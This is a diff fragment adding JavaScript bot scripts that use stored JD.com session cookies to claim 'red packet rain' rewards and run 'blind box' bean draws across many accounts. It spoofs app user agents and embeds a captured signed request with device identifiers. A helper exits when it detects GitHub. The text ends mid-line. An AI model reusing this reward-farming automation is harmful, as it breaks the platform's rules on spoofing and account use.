console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let act = data.data.iconArea[0] + let url = data.data.iconArea[0].data.activityUrl + $.activityId = url.substr(url.indexOf("id=") + 3) + $.startTime = act.startTime + $.endTime = act.endTime + console.log(`下一场红包雨开始时间:${new Date(act.startTime)}`) + console.log(`下一场红包雨结束时间:${new Date(act.endTime)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain() { + return new Promise(resolve => { + const body = {"actId": $.activityId}; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `${data.lotteryResult.jPeasList[0].ext}:${(data.lotteryResult.jPeasList[0].quantity)}京豆\n` + + } else if (data.subCode === '8') { + console.log(`今日次数已满`) + message += `领取失败,今日已签到\n`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}`, + body: 'area=12_904_908_57903&body=%7B%22liveId%22%3A%223019486%22%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=00bd2eef415d0c689bd0bd74620682dd&st=1607777434410&sv=101&uts=0f31TVRjBSsySvX9aqk89gHBMqz5E28EYCqc3cRu/4%2Bv0EzRuStHwMI1R5P9RqeizLow/pAquaX1v5IJQGVxUzSfExCFmfO0L7BEMvXnkeCZhKEsmSkbQm54W7ig8aRsmHiXp7YT/SOV7sEKxXauv59O/SAAFkr1egGgKev7Uj81nJRFDnNRSomlrOj2jQzH6iddCTSpydcSYRnDyDcodA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + //"Cookie": cookie, + } + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/active/redrain/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_mh.js b/activity/jd_mh.js new file mode 100644 index 0000000..9ce0728 --- /dev/null +++ b/activity/jd_mh.js @@ -0,0 +1,294 @@ +/* +盲盒抽京豆 +活动时间:2021年1月6日~2021年2月5日 +更新地址:jd_mh.js +活动入口:https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#盲盒抽京豆 +1 7 * * * jd_mh.js, tag=盲盒抽京豆, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_mh.jpg, enabled=true + +================Loon============== +[Script] +cron "1 7 * * *" script-path=jd_mh.js,tag=盲盒抽京豆 + +===============Surge================= +盲盒抽京豆 = type=cron,cronexp="1 7 * * *",wake-system=1,timeout=200,script-path=jd_mh.js + +============小火箭========= +盲盒抽京豆 = type=cron,script-path=jd_mh.js, cronexpr="1 8,12,18* * *", timeout=200, enable=true + */ +const $ = new Env('盲盒抽京豆'); +const notify = $.isNode() ? require('../sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdMh() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh() { + await getInfo() + await getUserInfo() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd', + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new 